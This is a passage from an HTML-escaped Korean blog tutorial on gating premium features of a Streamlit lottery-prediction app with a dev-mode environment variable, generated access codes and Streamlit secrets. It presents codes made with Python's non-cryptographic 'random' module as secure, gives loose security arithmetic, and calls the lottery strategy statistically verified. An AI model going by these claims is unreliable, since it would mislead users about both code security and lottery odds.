&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 계산 비용 (Computational Cost)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;백테스팅 1회차: 2-5초&lt;/li&gt;
&lt;li&gt;605회차 전체: 30-60분&lt;/li&gt;
&lt;li&gt;Streamlit Cloud 무료 tier 부담&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 가치 제공 (Value Proposition)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;통계적으로 검증된 전략&lt;/li&gt;
&lt;li&gt;무작위 대비 개선 가능성&lt;/li&gt;
&lt;li&gt;데이터 과학 학습 경험&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 접근 제어 (Access Control)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;100개 한정 액세스 코드&lt;/li&gt;
&lt;li&gt;얼리 어답터 보상&lt;/li&gt;
&lt;li&gt;커뮤니티 형성&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 환경 감지 시스템 (Environment Detection System)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ca7hBq/dJMcahiPp6w/tPhQ9vqdYXRwxy8KGp87cK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ca7hBq/dJMcahiPp6w/tPhQ9vqdYXRwxy8KGp87cK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ca7hBq/dJMcahiPp6w/tPhQ9vqdYXRwxy8KGp87cK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fca7hBq%2FdJMcahiPp6w%2FtPhQ9vqdYXRwxy8KGp87cK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;761&quot; height=&quot;633&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  로컬 vs 클라우드 (Local vs Cloud)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;환경 감지 로직 (Detection Logic)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1: 개발자 모드 확인 (Check Developer Mode)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import os

def is_local_dev():
    &quot;&quot;&quot;로컬 개발 환경 확인 (Check local development)&quot;&quot;&quot;
    return os.getenv(&quot;LOTTO_DEV_MODE&quot;) == &quot;true&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로컬에서 환경 변수 설정:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot;&gt;&lt;code&gt;# macOS/Linux
export LOTTO_DEV_MODE=&quot;true&quot;

# 또는 .bashrc / .zshrc에 추가
echo 'export LOTTO_DEV_MODE=&quot;true&quot;' &amp;gt;&amp;gt; ~/.zshrc
source ~/.zshrc&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2: Streamlit Cloud 감지 (Detect Streamlit Cloud)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def is_streamlit_cloud():
    &quot;&quot;&quot;Streamlit Cloud 환경 확인 (Check Streamlit Cloud)&quot;&quot;&quot;
    try:
        from streamlit.runtime import exists
        return exists()
    except ImportError:
        return False&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3: 통합 환경 감지 (Unified Detection)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def is_premium_unlocked():
    &quot;&quot;&quot;프리미엄 기능 잠금 해제 여부 (Check if premium is unlocked)&quot;&quot;&quot;
    # 1. 로컬 개발 모드 (Local dev mode)
    if is_local_dev():
        return True

    # 2. 세션에 이미 인증됨 (Already authenticated)
    if st.session_state.get('premium_unlocked', False):
        return True

    # 3. 잠금 상태 (Locked)
    return False&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  환경 변수 설정 (Environment Variable Setup)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;로컬 개발 (Local Development)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 1: 터미널에서 일회성 (Temporary in Terminal)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# 실행 전
export LOTTO_DEV_MODE=&quot;true&quot;

# Streamlit 앱 실행
streamlit run src/web_app.py

# 확인
echo $LOTTO_DEV_MODE&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 2: 쉘 설정 파일 (Shell Configuration)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# ~/.zshrc 또는 ~/.bashrc 편집
export LOTTO_DEV_MODE=&quot;true&quot;

# 재로드
source ~/.zshrc&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 3: .env 파일 (Environment File)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# .env 파일 생성
echo &quot;LOTTO_DEV_MODE=true&quot; &amp;gt; .env

# python-dotenv 사용
pip install python-dotenv&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;capnproto&quot;&gt;&lt;code&gt;# web_app.py 상단
from dotenv import load_dotenv
load_dotenv()&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Streamlit Cloud (Production)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설정 위치:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Streamlit Cloud 대시보드 접속&lt;/li&gt;
&lt;li&gt;App Settings &amp;gt; Secrets&lt;/li&gt;
&lt;li&gt;&lt;b&gt;환경 변수 설정 안 함&lt;/b&gt; (의도적으로 비활성화)&lt;/li&gt;
&lt;li&gt;액세스 코드 필요&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;⚠️ 주의사항 (Important Notes)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로컬에서 프리미엄 기능 테스트 후 배포 전:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot;&gt;&lt;code&gt;# 환경 변수 제거 (Unset variable)
unset LOTTO_DEV_MODE

# 확인 (Verify)
echo $LOTTO_DEV_MODE  # 출력 없어야 함&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 (Security):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;LOTTO_DEV_MODE&lt;/code&gt;는 로컬 전용&lt;/li&gt;
&lt;li&gt;Streamlit Cloud Secrets에 절대 추가 금지&lt;/li&gt;
&lt;li&gt;Git 커밋 전 &lt;code&gt;.env&lt;/code&gt; 파일 &lt;code&gt;.gitignore&lt;/code&gt; 추가&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 액세스 코드 설계 (Access Code Design)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eyn0XZ/dJMcajnl12n/zqiFnMo9upvoYKeFxLaKQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eyn0XZ/dJMcajnl12n/zqiFnMo9upvoYKeFxLaKQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eyn0XZ/dJMcajnl12n/zqiFnMo9upvoYKeFxLaKQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feyn0XZ%2FdJMcajnl12n%2FzqiFnMo9upvoYKeFxLaKQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;792&quot; height=&quot;659&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  코드 형식 (Code Format)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;PREM-&lt;b&gt;&lt;b&gt;-&lt;/b&gt;&lt;/b&gt; 구조&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;형식 (Format):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;PREM-XXXX-XXXX&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;규칙 (Rules):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Prefix&lt;/b&gt;: &lt;code&gt;PREM-&lt;/code&gt; (고정, Fixed)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Segment 1&lt;/b&gt;: 4자리 영숫자 (4-char alphanumeric)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Separator&lt;/b&gt;: &lt;code&gt;-&lt;/code&gt; (하이픈, Hyphen)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Segment 2&lt;/b&gt;: 4자리 영숫자 (4-char alphanumeric)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대소문자&lt;/b&gt;: 대문자만 (Uppercase only)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;문자 집합&lt;/b&gt;: A-Z, 0-9 (36자리, 36 characters)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;유효한 예시 (Valid Examples):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;PREM-A1B2-C3D4
PREM-QWER-TYUI
PREM-1234-5678
PREM-ABCD-EFGH
PREM-9876-5432&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;무효한 예시 (Invalid Examples):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;clean&quot;&gt;&lt;code&gt;prem-a1b2-c3d4      # 소문자 (lowercase)
PREM-AB-CDEF        # 세그먼트 길이 부족 (wrong length)
PREM-!@#$-%^&amp;amp;*      # 특수문자 (special chars)
PREM A1B2 C3D4      # 공백 (spaces)
PREMABC1234         # 구분자 없음 (no separator)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  코드 생성 (Code Generation)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Python 스크립트 (Generation Script)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import random
import string

def generate_access_code():
    &quot;&quot;&quot;액세스 코드 생성 (Generate access code)&quot;&quot;&quot;
    chars = string.ascii_uppercase + string.digits  # A-Z, 0-9
    segment1 = ''.join(random.choices(chars, k=4))
    segment2 = ''.join(random.choices(chars, k=4))
    return f&quot;PREM-{segment1}-{segment2}&quot;

def generate_bulk_codes(n=100):
    &quot;&quot;&quot;N개 코드 일괄 생성 (Generate N codes in bulk)&quot;&quot;&quot;
    codes = set()
    while len(codes) &amp;lt; n:
        codes.add(generate_access_code())
    return sorted(codes)

# 100개 생성 (Generate 100 codes)
codes = generate_bulk_codes(100)

# TOML 형식 출력 (Print TOML format)
print(&quot;[premium]&quot;)
print(&quot;access_codes = [&quot;)
for code in codes:
    print(f'    &quot;{code}&quot;,')
print(&quot;]&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출력 예시 (Output Example):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;[premium]
access_codes = [
    &quot;PREM-0A1B-2C3D&quot;,
    &quot;PREM-0E4F-5G6H&quot;,
    &quot;PREM-0I7J-8K9L&quot;,
    # ... 97 more codes
]&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  코드 검증 (Code Validation)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;정규표현식 (Regular Expression)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import re

def validate_code_format(code):
    &quot;&quot;&quot;코드 형식 검증 (Validate code format)&quot;&quot;&quot;
    # 패턴: PREM-XXXX-XXXX (Pattern)
    pattern = r'^PREM-[A-Z0-9]{4}-[A-Z0-9]{4}$'
    return re.match(pattern, code) is not None

# 테스트 (Test)
print(validate_code_format(&quot;PREM-A1B2-C3D4&quot;))  # True
print(validate_code_format(&quot;prem-a1b2-c3d4&quot;))  # False (소문자)
print(validate_code_format(&quot;PREM-AB-CDEF&quot;))    # False (길이)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;전체 검증 프로세스 (Full Validation Process)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def verify_access_code(input_code, valid_codes):
    &quot;&quot;&quot;액세스 코드 검증 (Verify access code)

    Args:
        input_code: 사용자 입력 (User input)
        valid_codes: 유효한 코드 목록 (Valid codes list)

    Returns:
        bool: 검증 성공 여부 (Validation result)
    &quot;&quot;&quot;
    # 1. 정규화 (Normalization)
    normalized = input_code.upper().strip()

    # 2. 형식 검증 (Format validation)
    if not validate_code_format(normalized):
        return False, &quot;Invalid format&quot;

    # 3. 코드 존재 확인 (Check existence)
    if normalized not in valid_codes:
        return False, &quot;Code not found&quot;

    # 4. 성공 (Success)
    return True, &quot;Valid code&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  코드 통계 (Code Statistics)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;총 가능한 조합 수 (Total Possible Combinations):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;36^8 = 2,821,109,907,456
약 2.8조 개 (About 2.8 trillion)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;100개 코드의 충돌 확률 (Collision Probability for 100 codes):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;P(collision) &amp;asymp; 0.00000177% (거의 0, Nearly zero)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 강도 (Security Strength):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;무차별 대입 (Brute force): 2.8조 시도 필요&lt;/li&gt;
&lt;li&gt;100개 중 하나 맞추기: 1/100 = 1%&lt;/li&gt;
&lt;li&gt;형식까지 맞추기: 거의 불가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. Streamlit Secrets 관리 (Streamlit Secrets Management)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXJh8W/dJMcaajHDE0/d1xyf31m5P9HmiC9CAfHI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXJh8W/dJMcaajHDE0/d1xyf31m5P9HmiC9CAfHI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXJh8W/dJMcaajHDE0/d1xyf31m5P9HmiC9CAfHI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXJh8W%2FdJMcaajHDE0%2Fd1xyf31m5P9HmiC9CAfHI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1785&quot; height=&quot;1485&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  로컬 Secrets (Local Secrets)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;.streamlit/secrets.toml 파일 생성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1단계: 디렉토리 생성 (Create Directory)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;mkdir -p .streamlit&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2단계: secrets.toml 파일 작성 (Write secrets.toml)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;nano .streamlit/secrets.toml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3단계: 코드 목록 추가 (Add Code List)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;# .streamlit/secrets.toml

# Premium access codes
[premium]
access_codes = [
    &quot;PREM-A1B2-C3D4&quot;,
    &quot;PREM-QWER-TYUI&quot;,
    &quot;PREM-1234-5678&quot;,
    &quot;PREM-ABCD-EFGH&quot;,
    &quot;PREM-5678-9012&quot;,
    &quot;PREM-MNOP-QRST&quot;,
    # ... 94 more codes
]

# Total: 100 codes&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4단계: Git 무시 설정 (Add to .gitignore)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# .gitignore에 추가 (Add to .gitignore)
echo &quot;.streamlit/secrets.toml&quot; &amp;gt;&amp;gt; .gitignore&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5단계: 확인 (Verify)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;smali&quot;&gt;&lt;code&gt;git check-ignore .streamlit/secrets.toml
# 출력: .streamlit/secrets.toml (무시됨 확인)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;☁️ Streamlit Cloud Secrets&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;클라우드 설정 방법 (Cloud Setup)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1단계: Streamlit Cloud 대시보드 접속&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://share.streamlit.io/&quot;&gt;https://share.streamlit.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;로그인 (Login)&lt;/li&gt;
&lt;li&gt;앱 선택 (Select app)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2단계: Secrets 페이지 이동&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;App Settings (설정 아이콘)&lt;/li&gt;
&lt;li&gt;Secrets 탭 선택&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3단계: secrets.toml 내용 복사 붙여넣기&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;[premium]
access_codes = [
    &quot;PREM-A1B2-C3D4&quot;,
    &quot;PREM-QWER-TYUI&quot;,
    &quot;PREM-1234-5678&quot;,
    # ... (로컬과 동일한 내용)
]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4단계: Save 버튼 클릭&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;저장 후 자동 배포 (Auto-deploy after save)&lt;/li&gt;
&lt;li&gt;앱 재시작 (App restart)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  코드에서 Secrets 사용 (Using Secrets in Code)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Secrets 로드 (Loading Secrets)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import streamlit as st

def load_premium_codes():
    &quot;&quot;&quot;프리미엄 액세스 코드 로드 (Load premium access codes)&quot;&quot;&quot;
    try:
        if &quot;premium&quot; in st.secrets:
            return st.secrets[&quot;premium&quot;][&quot;access_codes&quot;]
        else:
            st.error(&quot;❌ Secrets not configured!&quot;)
            return []
    except Exception as e:
        st.error(f&quot;❌ Error loading secrets: {e}&quot;)
        return []&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;에러 처리 (Error Handling)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def check_access_code(input_code):
    &quot;&quot;&quot;액세스 코드 검증 (Check access code)&quot;&quot;&quot;
    # Secrets 로드 (Load secrets)
    valid_codes = load_premium_codes()

    if not valid_codes:
        return False, &quot;Secrets not available&quot;

    # 정규화 (Normalize)
    normalized = input_code.upper().strip()

    # 검증 (Validate)
    if normalized in valid_codes:
        return True, &quot;Access granted&quot;
    else:
        return False, &quot;Invalid code&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; ️ 보안 모범 사례 (Security Best Practices)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;절대 금지 (Never Do)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;❌ &lt;b&gt;코드에 직접 하드코딩 (Hardcode in code)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# 절대 안 됨! (Never do this!)
valid_codes = [&quot;PREM-A1B2-C3D4&quot;, &quot;PREM-QWER-TYUI&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;❌ &lt;b&gt;Git에 커밋 (Commit to Git)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;# 절대 안 됨! (Never do this!)
git add .streamlit/secrets.toml
git commit -m &quot;Add secrets&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;❌ &lt;b&gt;공개 저장소에 노출 (Expose in public repo)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;apache&quot;&gt;&lt;code&gt;# README.md에 코드 공개 금지 (Don't share in README)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;권장 사항 (Recommended)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;Streamlit Secrets 사용 (Use Streamlit Secrets)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;# 올바른 방법 (Correct way)
codes = st.secrets[&quot;premium&quot;][&quot;access_codes&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;.gitignore 추가 (Add to .gitignore)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;.streamlit/secrets.toml
.env&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;로컬과 클라우드 동기화 (Sync local and cloud)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로컬 파일 수정 후 클라우드 Secrets도 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;접근 로그 기록 (Log access attempts)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import datetime

def log_access_attempt(code, success):
    &quot;&quot;&quot;액세스 시도 로그 (Log access attempt)&quot;&quot;&quot;
    timestamp = datetime.datetime.now()
    status = &quot;SUCCESS&quot; if success else &quot;FAILURE&quot;
    print(f&quot;[{timestamp}] {status}: {code[:8]}****&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  Secrets 구조 예시 (Secrets Structure Example)&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# .streamlit/secrets.toml

# Premium access codes
[premium]
access_codes = [
    &quot;PREM-0A1B-2C3D&quot;,
    &quot;PREM-0E4F-5G6H&quot;,
    # ... 98 more codes
]

# Optional: Database credentials (예시)
[database]
host = &quot;localhost&quot;
port = 5432
user = &quot;lotto_user&quot;
password = &quot;secure_password&quot;

# Optional: API keys (예시)
[api]
openai_key = &quot;sk-...&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 세션 상태 관리 (Session State Management)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1635&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ryw1e/dJMcabXdCRy/xNFYy4s7EmLkJMkj75i1T0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ryw1e/dJMcabXdCRy/xNFYy4s7EmLkJMkj75i1T0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ryw1e/dJMcabXdCRy/xNFYy4s7EmLkJMkj75i1T0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fryw1e%2FdJMcabXdCRy%2FxNFYy4s7EmLkJMkj75i1T0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1785&quot; height=&quot;1635&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1635&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  세션 상태란? (What is Session State?)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Streamlit Session State:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;브라우저 탭별 독립적인 메모리 공간&lt;/li&gt;
&lt;li&gt;페이지 새로고침 시 유지&lt;/li&gt;
